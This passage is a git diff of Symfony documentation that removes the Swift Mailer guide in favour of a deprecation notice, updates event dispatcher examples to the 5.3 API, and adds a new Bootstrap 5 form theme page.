-The ``gmail`` transport is a shortcut that uses the ``smtp`` transport, ``ssl``
-encryption, ``login`` auth mode and ``smtp.gmail.com`` host. If your app uses
-other encryption or auth mode, you must override those values
-(:doc:`see mailer config reference </reference/configuration/swiftmailer>`):
-
-.. code-block:: bash
-
-    # username is your full Gmail or Google Apps email address
-    MAILER_URL=gmail://username:password@localhost?encryption=tls&auth_mode=oauth
-
-If your Gmail account uses 2-Step-Verification, you must `generate an App password`_
-and use it as the value of the mailer password. You must also ensure that you
-`allow less secure applications to access your Gmail account`_.
-
-Using Cloud Services to Send Emails
------------------------------------
-
-Cloud mailing services are a popular option for companies that don't want to set
-up and maintain their own reliable mail servers. To use these services in a
-Symfony app, update the value of ``MAILER_URL`` in the ``.env``
-file. For example, for `Amazon SES`_ (Simple Email Service):
-
-.. code-block:: bash
-
-    # The host will be different depending on your AWS zone
-    # The username/password credentials are obtained from the Amazon SES console
-    MAILER_URL=smtp://email-smtp.us-east-1.amazonaws.com:587?encryption=tls&username=YOUR_SES_USERNAME&password=YOUR_SES_PASSWORD
-
-Use the same technique for other mail services, as most of the time there is
-nothing more to it than configuring an SMTP endpoint.
-
-How to Work with Emails during Development
-------------------------------------------
-
-When developing an application which sends email, you will often
-not want to actually send the email to the specified recipient during
-development. If you are using the SwiftmailerBundle with Symfony, you
-can achieve this through configuration settings without having to make
-any changes to your application's code at all. There are two main choices
-when it comes to handling email during development: (a) disabling the
-sending of email altogether or (b) sending all email to a specific
-address (with optional exceptions).
-
-Disabling Sending
-~~~~~~~~~~~~~~~~~
-
-You can disable sending email by setting the ``disable_delivery`` option to
-``true``, which is the default value used by Symfony in the ``test`` environment
-(email messages will continue to be sent in the other environments):
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/test/swiftmailer.yaml
-        swiftmailer:
-            disable_delivery: true
-
-    .. code-block:: xml
-
-        <!-- config/packages/test/swiftmailer.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:swiftmailer="http://symfony.com/schema/dic/swiftmailer"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/swiftmailer https://symfony.com/schema/dic/swiftmailer/swiftmailer-1.0.xsd">
-
-            <swiftmailer:config disable-delivery="true"/>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/test/swiftmailer.php
-        $container->loadFromExtension('swiftmailer', [
-            'disable_delivery' => "true",
-        ]);
-
-.. _sending-to-a-specified-address:
-
-Sending to a Specified Address(es)
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-You can also choose to have all email sent to a specific address or a list of addresses, instead
-of the address actually specified when sending the message. This can be done
-via the ``delivery_addresses`` option:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/dev/swiftmailer.yaml
-        swiftmailer:
-            delivery_addresses: ['dev@example.com']
-
-    .. code-block:: xml
-
-        <!-- config/packages/dev/swiftmailer.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:swiftmailer="http://symfony.com/schema/dic/swiftmailer"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/swiftmailer
-                https://symfony.com/schema/dic/swiftmailer/swiftmailer-1.0.xsd">
-
-            <swiftmailer:config>
-                <swiftmailer:delivery-address>dev@example.com</swiftmailer:delivery-address>
-            </swiftmailer:config>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/dev/swiftmailer.php
-        $container->loadFromExtension('swiftmailer', [
-            'delivery_addresses' => ['dev@example.com'],
-        ]);
-
-Now, suppose you're sending an email to ``recipient@example.com`` in a controller::
-
-    public function index($name, \Swift_Mailer $mailer)
-    {
-        $message = (new \Swift_Message('Hello Email'))
-            ->setFrom('send@example.com')
-            ->setTo('recipient@example.com')
-            ->setBody(
-                $this->renderView(
-                    // templates/hello/email.txt.twig
-                    'hello/email.txt.twig',
-                    ['name' => $name]
-                )
-            )
-        ;
-        $mailer->send($message);
-
-        return $this->render(...);
-    }
-
-In the ``dev`` environment, the email will instead be sent to ``dev@example.com``.
-Swift Mailer will add an extra header to the email, ``X-Swift-To``, containing
-the replaced address, so you can still see who it would have been sent to.
-
-.. note::
-
-    In addition to the ``to`` addresses, this will also stop the email being
-    sent to any ``CC`` and ``BCC`` addresses set for it. Swift Mailer will add
-    additional headers to the email with the overridden addresses in them.
-    These are ``X-Swift-Cc`` and ``X-Swift-Bcc`` for the ``CC`` and ``BCC``
-    addresses respectively.
-
-.. _sending-to-a-specified-address-but-with-exceptions:
-
-Sending to a Specified Address but with Exceptions
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-Suppose you want to have all email redirected to a specific address,
-(like in the above scenario to ``dev@example.com``). But then you may want
-email sent to some specific email addresses to go through after all, and
-not be redirected (even if it is in the dev environment). This can be done
-by adding the ``delivery_whitelist`` option:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/dev/swiftmailer.yaml
-        swiftmailer:
-            delivery_addresses: ['dev@example.com']
-            delivery_whitelist:
-                # all email addresses matching these regexes will be delivered
-                # like normal, as well as being sent to dev@example.com
-                - '/@specialdomain\.com$/'
-                - '/^admin@mydomain\.com$/'
-
-    .. code-block:: xml
-
-        <!-- config/packages/dev/swiftmailer.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:swiftmailer="http://symfony.com/schema/dic/swiftmailer"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/swiftmailer
-                https://symfony.com/schema/dic/swiftmailer/swiftmailer-1.0.xsd">
-
-            <swiftmailer:config>
-                <!-- all email addresses matching these regexes will be delivered
-                     like normal, as well as being sent to dev@example.com -->
-                <swiftmailer:delivery-whitelist-pattern>/@specialdomain\.com$/</swiftmailer:delivery-whitelist-pattern>
-                <swiftmailer:delivery-whitelist-pattern>/^admin@mydomain\.com$/</swiftmailer:delivery-whitelist-pattern>
-                <swiftmailer:delivery-address>dev@example.com</swiftmailer:delivery-address>
-            </swiftmailer:config>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/dev/swiftmailer.php
-        $container->loadFromExtension('swiftmailer', [
-            'delivery_addresses' => ["dev@example.com"],
-            'delivery_whitelist' => [
-                // all email addresses matching these regexes will be delivered
-                // like normal, as well as being sent to dev@example.com
-                '/@specialdomain\.com$/',
-                '/^admin@mydomain\.com$/',
-            ],
-        ]);
-
-In the above example all email messages will be redirected to ``dev@example.com``
-and messages sent to the ``admin@mydomain.com`` address or to any email address
-belonging to the domain ``specialdomain.com`` will also be delivered as normal.
-
-.. caution::
-
-    The ``delivery_whitelist`` option is ignored unless the ``delivery_addresses`` option is defined.
-
-Viewing from the Web Debug Toolbar
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-You can view any email sent during a single response when you are in the
-``dev`` environment using the web debug toolbar. The email icon in the toolbar
-will show how many emails were sent. If you click it, a report will open
-showing the details of the sent emails.
-
-If you're sending an email and then immediately redirecting to another page,
-the web debug toolbar will not display an email icon or a report on the next
-page.
-
-Instead, you can set the ``intercept_redirects`` option to ``true`` in the
-``dev`` environment, which will cause the redirect to stop and allow you to open
-the report with details of the sent emails.
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/dev/web_profiler.yaml
-        web_profiler:
-            intercept_redirects: true
-
-    .. code-block:: xml
-
-        <!-- config/packages/dev/web_profiler.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:webprofiler="http://symfony.com/schema/dic/webprofiler"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/webprofiler
-                https://symfony.com/schema/dic/webprofiler/webprofiler-1.0.xsd">
-
-            <webprofiler:config
-                intercept-redirects="true"
-            />
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/dev/web_profiler.php
-        $container->loadFromExtension('web_profiler', [
-            'intercept_redirects' => 'true',
-        ]);
-
-.. tip::
-
-    Alternatively, you can open the profiler after the redirect and search
-    by the submit URL used on the previous request (e.g. ``/contact/handle``).
-    The profiler's search feature allows you to load the profiler information
-    for any past requests.
-
-.. tip::
-
-    In addition to the features provided by Symfony, there are applications that
-    can help you test emails during application development, like `MailCatcher`_,
-    `Mailtrap`_ and `MailHog`_.
-
-How to Spool Emails
--------------------
-
-The default behavior of the Symfony mailer is to send the email messages
-immediately. You may, however, want to avoid the performance hit of the
-communication to the email server, which could cause the user to wait for the
-next page to load while the email is sending. This can be avoided by choosing to
-"spool" the emails instead of sending them directly.
-
-This makes the mailer to not attempt to send the email message but instead save
-it somewhere such as a file. Another process can then read from the spool and
-take care of sending the emails in the spool. Currently only spooling to file or
-memory is supported.
-
-.. _email-spool-memory:
-
-Spool Using Memory
-~~~~~~~~~~~~~~~~~~
-
-When you use spooling to store the emails to memory, they will get sent right
-before the kernel terminates. This means the email only gets sent if the whole
-request got executed without any unhandled exception or any errors. To configure
-this spool, use the following configuration:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/swiftmailer.yaml
-        swiftmailer:
-            # ...
-            spool: { type: memory }
-
-    .. code-block:: xml
-
-        <!-- config/packages/swiftmailer.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:swiftmailer="http://symfony.com/schema/dic/swiftmailer"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/swiftmailer https://symfony.com/schema/dic/swiftmailer/swiftmailer-1.0.xsd">
-
-            <swiftmailer:config>
-                <swiftmailer:spool type="memory"/>
-            </swiftmailer:config>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/swiftmailer.php
-        $container->loadFromExtension('swiftmailer', [
-            // ...
-            'spool' => ['type' => 'memory'],
-        ]);
-
-.. _spool-using-a-file:
-
-Spool Using Files
-~~~~~~~~~~~~~~~~~
-
-When you use the filesystem for spooling, Symfony creates a folder in the given
-path for each mail service (e.g. "default" for the default service). This folder
-will contain files for each email in the spool. So make sure this directory is
-writable by Symfony (or your webserver/php)!
-
-In order to use the spool with files, use the following configuration:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/swiftmailer.yaml
-        swiftmailer:
-            # ...
-            spool:
-                type: file
-                path: /path/to/spooldir
-
-    .. code-block:: xml
-
-        <!-- config/packages/swiftmailer.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:swiftmailer="http://symfony.com/schema/dic/swiftmailer"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/swiftmailer https://symfony.com/schema/dic/swiftmailer/swiftmailer-1.0.xsd">
-
-            <swiftmailer:config>
-                <swiftmailer:spool
-                    type="file"
-                    path="/path/to/spooldir"
-                />
-            </swiftmailer:config>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/swiftmailer.php
-        $container->loadFromExtension('swiftmailer', [
-            // ...
-
-            'spool' => [
-                'type' => 'file',
-                'path' => '/path/to/spooldir',
-            ],
-        ]);
-
-.. tip::
-
-    If you want to store the spool somewhere with your project directory,
-    remember that you can use the ``%kernel.project_dir%`` parameter to reference
-    the project's root:
-
-    .. code-block:: yaml
-
-        path: '%kernel.project_dir%/var/spool'
-
-Now, when your app sends an email, it will not actually be sent but instead
-added to the spool. Sending the messages from the spool is done separately.
-There is a console command to send the messages in the spool:
-
-.. code-block:: terminal
-
-    $ APP_ENV=prod php bin/console swiftmailer:spool:send
-
-It has an option to limit the number of messages to be sent:
-
-.. code-block:: terminal
-
-    $ APP_ENV=prod php bin/console swiftmailer:spool:send --message-limit=10
-
-You can also set the time limit in seconds:
-
-.. code-block:: terminal
-
-    $ APP_ENV=prod php bin/console swiftmailer:spool:send --time-limit=10
-
-In practice you will not want to run this manually. Instead, the console command
-should be triggered by a cron job or scheduled task and run at a regular
-interval.
-
-.. caution::
-
-    When you create a message with SwiftMailer, it generates a ``Swift_Message``
-    class. If the ``swiftmailer`` service is lazy loaded, it generates instead a
-    proxy class named ``Swift_Message_<someRandomCharacters>``.
-
-    If you use the memory spool, this change is transparent and has no impact.
-    But when using the filesystem spool, the message class is serialized in
-    a file with the randomized class name. The problem is that this random
-    class name changes on every cache clear.
-
-    So if you send a mail and then you clear the cache, on the next execution of
-    ``swiftmailer:spool:send`` an error will raise because the class
-    ``Swift_Message_<someRandomCharacters>`` doesn't exist (anymore).
-
-    The solutions are either to use the memory spool or to load the
-    ``swiftmailer`` service without the ``lazy`` option (see :doc:`/service_container/lazy_services`).
-
-How to Test that an Email is Sent in a Functional Test
-------------------------------------------------------
-
-Sending emails with Symfony is pretty straightforward thanks to the
-SwiftmailerBundle, which leverages the power of the `Swift Mailer`_ library.
-
-To functionally test that an email was sent, and even assert the email subject,
-content or any other headers, you can use :doc:`the Symfony Profiler </profiler>`.
-
-Start with a controller action that sends an email::
-
-    public function sendEmail($name, \Swift_Mailer $mailer)
-    {
-        $message = (new \Swift_Message('Hello Email'))
-            ->setFrom('send@example.com')
-            ->setTo('recipient@example.com')
-            ->setBody('You should see me from the profiler!')
-        ;
-
-        $mailer->send($message);
-
-        // ...
-    }
-
-In your functional test, use the ``swiftmailer`` collector on the profiler
-to get information about the messages sent on the previous request::
-
-    // tests/Controller/MailControllerTest.php
-    namespace App\Tests\Controller;
-
-    use Symfony\Bundle\FrameworkBundle\Test\WebTestCase;
-
-    class MailControllerTest extends WebTestCase
-    {
-        public function testMailIsSentAndContentIsOk()
-        {
-            $client = static::createClient();
-
-            // enables the profiler for the next request (it does nothing if the profiler is not available)
-            $client->enableProfiler();
-
-            $crawler = $client->request('POST', '/path/to/above/action');
-
-            $mailCollector = $client->getProfile()->getCollector('swiftmailer');
-
-            // checks that an email was sent
-            $this->assertSame(1, $mailCollector->getMessageCount());
-
-            $collectedMessages = $mailCollector->getMessages();
-            $message = $collectedMessages[0];
-
-            // Asserting email data
-            $this->assertInstanceOf('Swift_Message', $message);
-            $this->assertSame('Hello Email', $message->getSubject());
-            $this->assertSame('send@example.com', key($message->getFrom()));
-            $this->assertSame('recipient@example.com', key($message->getTo()));
-            $this->assertSame(
-                'You should see me from the profiler!',
-                $message->getBody()
-            );
-        }
-    }
-
-Troubleshooting
-~~~~~~~~~~~~~~~
-
-Problem: The Collector Object Is ``null``
-.........................................
-
-The email collector is only available when the profiler is enabled and collects
-information, as explained in :doc:`/testing/profiling`.
-
-Problem: The Collector Doesn't Contain the Email
-................................................
-
-If a redirection is performed after sending the email (for example when you send
-an email after a form is processed and before redirecting to another page), make
-sure that the test client doesn't follow the redirects, as explained in
-:doc:`/testing`. Otherwise, the collector will contain the information of the
-redirected page and the email won't be accessible.
+    The Swift Mailer project is not supported since November 2021 and its
+    integration with Symfony was removed in Symfony 6.0.
 
-.. _`MailCatcher`: https://github.com/sj26/mailcatcher
-.. _`MailHog`: https://github.com/mailhog/MailHog
-.. _`Mailtrap`: https://mailtrap.io/
-.. _`Swift Mailer`: https://swiftmailer.symfony.com/
-.. _`SwiftMailerBundle`: https://github.com/symfony/swiftmailer-bundle
-.. _`Creating Messages`: https://swiftmailer.symfony.com/docs/messages.html
-.. _`Mandrill`: https://mandrill.com/
-.. _`SendGrid`: https://sendgrid.com/
-.. _`Amazon SES`: https://aws.amazon.com/ses/
-.. _`generate an App password`: https://support.google.com/accounts/answer/185833
-.. _`allow less secure applications to access your Gmail account`: https://support.google.com/accounts/answer/6010255
-.. _`RFC 3986`: https://www.ietf.org/rfc/rfc3986.txt
+    Use the :doc:`Symfony Mailer </mailer>` component, which was introduced in
+    Symfony 4.3 as a modern replacement of Swift Mailer.
diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index 6de4d1b9af0..6098f7697e7 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -108,7 +108,7 @@ using a special "tag":
             $services = $configurator->services();
 
             $services->set(ExceptionListener::class)
-                ->addTag('kernel.event_listener', ['event' => 'kernel.exception'])
+                ->tag('kernel.event_listener', ['event' => 'kernel.exception'])
             ;
         };
 
@@ -118,11 +118,11 @@ listener class:
 #. If the ``kernel.event_listener`` tag defines the ``method`` attribute, that's
    the name of the method to be called;
 #. If no ``method`` attribute is defined, try to call the method whose name
-   is ``on`` + "camel-cased event name" (e.g. ``onKernelException()`` method for
+   is ``on`` + "PascalCased event name" (e.g. ``onKernelException()`` method for
    the ``kernel.exception`` event);
 #. If that method is not defined either, try to call the ``__invoke()`` magic
    method (which makes event listeners invokable);
-#. If the ``_invoke()`` method is not defined either, throw an exception.
+#. If the ``__invoke()`` method is not defined either, throw an exception.
 
 .. note::
 
@@ -206,10 +206,10 @@ the ``EventSubscriber`` directory. Symfony takes care of the rest.
 Request Events, Checking Types
 ------------------------------
 
-A single page can make several requests (one master request, and then multiple
+A single page can make several requests (one main request, and then multiple
 sub-requests - typically when :ref:`embedding controllers in templates <templates-embed-controllers>`).
 For the core Symfony events, you might need to check to see if the event is for
-a "master" request or a "sub request"::
+a "main" request or a "sub request"::
 
     // src/EventListener/RequestListener.php
     namespace App\EventListener;
@@ -220,8 +220,10 @@ a "master" request or a "sub request"::
     {
         public function onKernelRequest(RequestEvent $event)
         {
-            if (!$event->isMasterRequest()) {
-                // don't do anything if it's not the master request
+            // The isMainRequest() method was introduced in Symfony 5.3.
+            // In previous versions it was called isMasterRequest()
+            if (!$event->isMainRequest()) {
+                // don't do anything if it's not the main request
                 return;
             }
 
@@ -322,6 +324,29 @@ its name:
 
     $ php bin/console debug:event-dispatcher kernel.exception
 
+or can get everything which partial matches the event name:
+
+.. code-block:: terminal
+
+    $ php bin/console debug:event-dispatcher kernel // matches "kernel.exception", "kernel.response" etc.
+    $ php bin/console debug:event-dispatcher Security // matches "Symfony\Component\Security\Http\Event\CheckPassportEvent"
+
+.. versionadded:: 5.3
+
+    The ability to match partial event names was introduced in Symfony 5.3.
+
+The :doc:`security </security>` system uses an event dispatcher per
+firewall. Use the ``--dispatcher`` option to get the registered listeners
+for a particular event dispatcher:
+
+.. code-block:: terminal
+
+    $ php bin/console debug:event-dispatcher --dispatcher=security.event_dispatcher.main
+
+.. versionadded:: 5.3
+
+    The ``dispatcher`` option was introduced in Symfony 5.3.
+
 Learn more
 ----------
 
diff --git a/event_dispatcher/before_after_filters.rst b/event_dispatcher/before_after_filters.rst
index 6c48d62ee24..5be62d9ac09 100644
--- a/event_dispatcher/before_after_filters.rst
+++ b/event_dispatcher/before_after_filters.rst
@@ -189,7 +189,7 @@ serve as a basic flag that this request underwent token authentication::
     {
         // ...
 
-        if ($controller[0] instanceof TokenAuthenticatedController) {
+        if ($controller instanceof TokenAuthenticatedController) {
             $token = $event->getRequest()->query->get('token');
             if (!in_array($token, $this->tokens)) {
                 throw new AccessDeniedHttpException('This action needs a valid token!');
diff --git a/event_dispatcher/method_behavior.rst b/event_dispatcher/method_behavior.rst
index cea11e72d8d..4e2f00fef0e 100644
--- a/event_dispatcher/method_behavior.rst
+++ b/event_dispatcher/method_behavior.rst
@@ -21,7 +21,7 @@ end of the method::
             $event = new BeforeSendMailEvent($subject, $message);
             $this->dispatcher->dispatch($event, 'mailer.pre_send');
 
-            // get $foo and $bar from the event, they may have been modified
+            // get $subject and $message from the event, they may have been modified
             $subject = $event->getSubject();
             $message = $event->getMessage();
 
@@ -134,7 +134,7 @@ could listen to the ``mailer.post_send`` event and change the method's return va
         public static function getSubscribedEvents()
         {
             return [
-                'mailer.post_send' => 'onMailerPostSend'
+                'mailer.post_send' => 'onMailerPostSend',
             ];
         }
     }
diff --git a/form/bootstrap4.rst b/form/bootstrap4.rst
index 96ab8937dcc..bbcd0819369 100644
--- a/form/bootstrap4.rst
+++ b/form/bootstrap4.rst
@@ -55,13 +55,13 @@ configuration:
     .. code-block:: php
 
         // config/packages/twig.php
-        $container->loadFromExtension('twig', [
-            'form_themes' => [
-                'bootstrap_4_layout.html.twig',
-            ],
+        use Symfony\Config\TwigConfig;
+
+        return static function (TwigConfig $twig) {
+            $twig->formThemes(['bootstrap_4_layout.html.twig']);
 
             // ...
-        ]);
+        };
 
 If you prefer to apply the Bootstrap styles on a form to form basis, include the
 ``form_theme`` tag in the templates where those forms are used:
@@ -77,7 +77,7 @@ If you prefer to apply the Bootstrap styles on a form to form basis, include the
         {{ form(form) }}
     {% endblock %}
 
-.. _reference-forms-bootstrap-error-messages:
+.. _reference-forms-bootstrap4-error-messages:
 
 Error Messages
 --------------
@@ -88,12 +88,26 @@ is a strong connection between the error and its ``<input>``, as required by the
 ``form_label()`` internally. If you call to ``form_errors()`` in your template,
 you'll get the error messages displayed *twice*.
 
+.. tip::
+
+    Since form errors are rendered *inside* the ``<label>``, you cannot use CSS
+    ``:after`` to append an asterisk to the label, because it would be displayed
+    after the error message. Use the :ref:`label <reference-form-option-label>`
+    or :ref:`label_html <reference-form-option-label-html>` options instead.
+
 Checkboxes and Radios
 ---------------------
 
 For a checkbox/radio field, calling ``form_label()`` doesn't render anything.
 Due to Bootstrap internals, the label is already rendered by ``form_widget()``.
 
+File inputs
+-----------
+
+File inputs are rendered using the Bootstrap "custom-file" class, which hides
+the name of the selected file. To fix that, use the `bs-custom-file-input`_
+JavaScript plugin, as recommended by `Bootstrap Forms documentation`_.
+
 Accessibility
 -------------
 
@@ -122,6 +136,8 @@ Symfony Form ``RadioType`` and ``CheckboxType`` by adding some classes to the la
     {{ form_row(form.myCheckbox, {label_attr: {class: 'switch-custom'} }) }}
 
 .. _`WCAG 2.0 standard`: https://www.w3.org/TR/WCAG20/
+.. _`bs-custom-file-input`: https://www.npmjs.com/package/bs-custom-file-input
+.. _`Bootstrap Forms documentation`: https://getbootstrap.com/docs/4.4/components/forms/#file-browser
 .. _`custom forms`: https://getbootstrap.com/docs/4.4/components/forms/#custom-forms
 .. _`custom radio`: https://getbootstrap.com/docs/4.4/components/forms/#radios
 .. _`custom checkbox`: https://getbootstrap.com/docs/4.4/components/forms/#checkboxes
diff --git a/form/bootstrap5.rst b/form/bootstrap5.rst
new file mode 100644
index 00000000000..1ff693a753f
--- /dev/null
+++ b/form/bootstrap5.rst
@@ -0,0 +1,265 @@
+Bootstrap 5 Form Theme
+======================
+
+.. versionadded:: 5.3
+
+    The Bootstrap 5 Form Theme was introduced in Symfony 5.3.
+
+Symfony provides several ways of integrating Bootstrap into your application.
+The most straightforward way is to add the required ``<link>`` and ``<script>``
+elements in your templates (usually you only include them in the main layout
+template which other templates extend from):
+
+.. code-block:: html+twig
+
+    {# templates/base.html.twig #}
+
+    {# beware that the blocks in your template may be named different #}
+    {% block stylesheets %}
+        <!-- Copy CSS from https://getbootstrap.com/docs/5.0/getting-started/introduction/#css -->
+    {% endblock %}
+    {% block javascripts %}
+        <!-- Copy JavaScript from https://getbootstrap.com/docs/5.0/getting-started/introduction/#js -->
+    {% endblock %}
+
+If your application uses modern front-end practices, it's better to use
+:doc:`Webpack Encore </frontend>` and follow :doc:`this tutorial </frontend/encore/bootstrap>`
+to import Bootstrap's sources into your SCSS and JavaScript files.
+
+The next step is to configure the Symfony application to use Bootstrap 5 styles
+when rendering forms. If you want to apply them to all forms, define this
+configuration:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/twig.yaml
+        twig:
+            form_themes: ['bootstrap_5_layout.html.twig']
+
+    .. code-block:: xml
+
+        <!-- config/packages/twig.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:twig="http://symfony.com/schema/dic/twig"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/twig
+                https://symfony.com/schema/dic/twig/twig-1.0.xsd">
+
+            <twig:config>
+                <twig:form-theme>bootstrap_5_layout.html.twig</twig:form-theme>
+                <!-- ... -->
+            </twig:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/twig.php
+        use Symfony\Config\TwigConfig;
+
+        return static function(TwigConfig $twig) {
+            $twig->formThemes(['bootstrap_5_layout.html.twig']);
+
+            // ...
+        };
+
+If you prefer to apply the Bootstrap styles on a form to form basis, include the
+``form_theme`` tag in the templates where those forms are used:
+
+.. code-block:: html+twig
+
+    {# ... #}
+    {# this tag only applies to the forms defined in this template #}
+    {% form_theme form 'bootstrap_5_layout.html.twig' %}
+
+    {% block body %}
+        <h1>User Sign Up:</h1>
+        {{ form(form) }}
+    {% endblock %}
+
+.. note::
+
+    By default, all inputs are rendered with the ``mb-3`` class on their
+    container. If you override the ``row_attr`` class option, the ``mb-3`` will
+    be overridden too and you will need to explicitly add it.
+
+Error Messages
+--------------
+
+Unlike in the :doc:`Bootstrap 4 theme </form/bootstrap4>`, errors are rendered
+**after** the ``input`` element. However, this still makes a strong connection
+between the error and its ``<input>``, as required by the `WCAG 2.0 standard`_.
+
+Checkboxes and Radios
+---------------------
+
+For a checkbox/radio field, calling ``form_label()`` doesn't render anything.
+Due to Bootstrap internals, the label is already rendered by ``form_widget()``.
+
+Inline Checkboxes and Radios
+----------------------------
+
+If you want to render your checkbox or radio fields `inline`_, you can add
+the ``checkbox-inline`` or ``radio-inline`` class (depending on your Symfony
+Form type or ``ChoiceType`` configuration) to the label class.
+
+.. configuration-block::
+
+    .. code-block:: php
+
+        $builder
+            ->add('myCheckbox', CheckboxType::class, [
+                'label_attr' => [
+                    'class' => 'checkbox-inline',
+                ],
+            ])
+            ->add('myRadio', RadioType::class, [
+                'label_attr' => [
+                    'class' => 'radio-inline',
+                ],
+            ]);
+
+    .. code-block:: twig
+
+        {{ form_row(form.myCheckbox, {
+            label_attr: {
+                class: 'checkbox-inline'
+            }
+        }) }}
+
+        {{ form_row(form.myRadio, {
+            label_attr: {
+                class: 'radio-inline'
+            }
+        }) }}
+
+Switches
+________
+
+Bootstrap 5 allows to render checkboxes as `switches`_. You can enable this
+feature on your Symfony Form ``CheckboxType`` by adding the ``checkbox-switch``
+class to the label:
+
+.. configuration-block::
+
+    .. code-block:: php
+
+        $builder->add('myCheckbox', CheckboxType::class, [
+            'label_attr' => [
+                'class' => 'checkbox-switch',
+            ],
+        ]);
+
+    .. code-block:: twig
+
+        {{ form_row(form.myCheckbox, {
+            label_attr: {
+                class: 'checkbox-switch'
+            }
+        }) }}
+
+.. tip::
+
+    You can also render your switches inline by simply adding the
+    ``checkbox-inline`` class on the ``label_attr`` option::
+
+        // ...
+        'label_attr' => [
+            'class' => 'checkbox-inline checkbox-switch',
+        ],
+        // ...
+
+.. caution::
+
+    Switches only work with **checkbox**.
+
+Input group
+___________
+
+To create `input group`_ in your Symfony Form, simply add the ``input-group``
+class to the ``row_attr`` option.
+
+.. configuration-block::
+
+    .. code-block:: php
+
+        $builder->add('email', EmailType::class, [
+            'label' => '@',
+            'row_attr' => [
+                'class' => 'input-group',
+            ],
+        ]);
+
+    .. code-block:: twig
+
+        {{ form_row(form.email, {
+            label: '@',
+            row_attr: {
+                class: 'input-group'
+            }
+        }) }}
+
+.. caution::
+
+    If you fill the ``help`` option of your form, it will also be rendered
+    as part of the group.
+
+Floating labels
+---------------
+
+To render an input field with a `floating label`_, you must add a ``label``,
+a ``placeholder`` and the ``form-floating`` class to the ``row_attr`` option
+of your form type.
+
+.. configuration-block::
+
+    .. code-block:: php
+
+        $builder->add('name', TextType::class, [
+            'label' => 'Name',
+            'attr' => [
+                'placeholder' => 'Name',
+            ],
+            'row_attr' => [
+                'class' => 'form-floating',
+            ],
+        ]);
+
+    .. code-block:: twig
+
+        {{ form_row(form.name, {
+            label: 'Name',
+            attr: {
+                placeholder: 'Name'
+            },
+            row_attr: {
+                class: 'form-floating'
+            }
+        }) }}
+
+.. caution::
+
+    You **must** provide a ``label`` and a ``placeholder`` to make floating
+    labels work properly.
+
+Accessibility
+-------------
+
+The Bootstrap 5 framework has done a good job making it accessible for
+functional variations like impaired vision and cognitive ability. Symfony has
+taken this one step further to make sure the form theme complies with the
+`WCAG 2.0 standard`_.
+
+This does not mean that your entire website automatically complies with the full
+standard, but it does mean that you have come far in your work to create a
+design for **all** users.
+
+.. _`WCAG 2.0 standard`: https://www.w3.org/TR/WCAG20/
+.. _`inline`: https://getbootstrap.com/docs/5.0/forms/checks-radios/#inline
+.. _`switches`: https://getbootstrap.com/docs/5.0/forms/checks-radios/#switches
+.. _`input group`: https://getbootstrap.com/docs/5.0/forms/input-group/
+.. _`floating label`: https://getbootstrap.com/docs/5.0/forms/floating-labels/
diff --git a/form/create_custom_field_type.rst b/form/create_custom_field_type.rst
index 0c5afaa6829..c95a0c80880 100644
--- a/form/create_custom_field_type.rst
+++ b/form/create_custom_field_type.rst
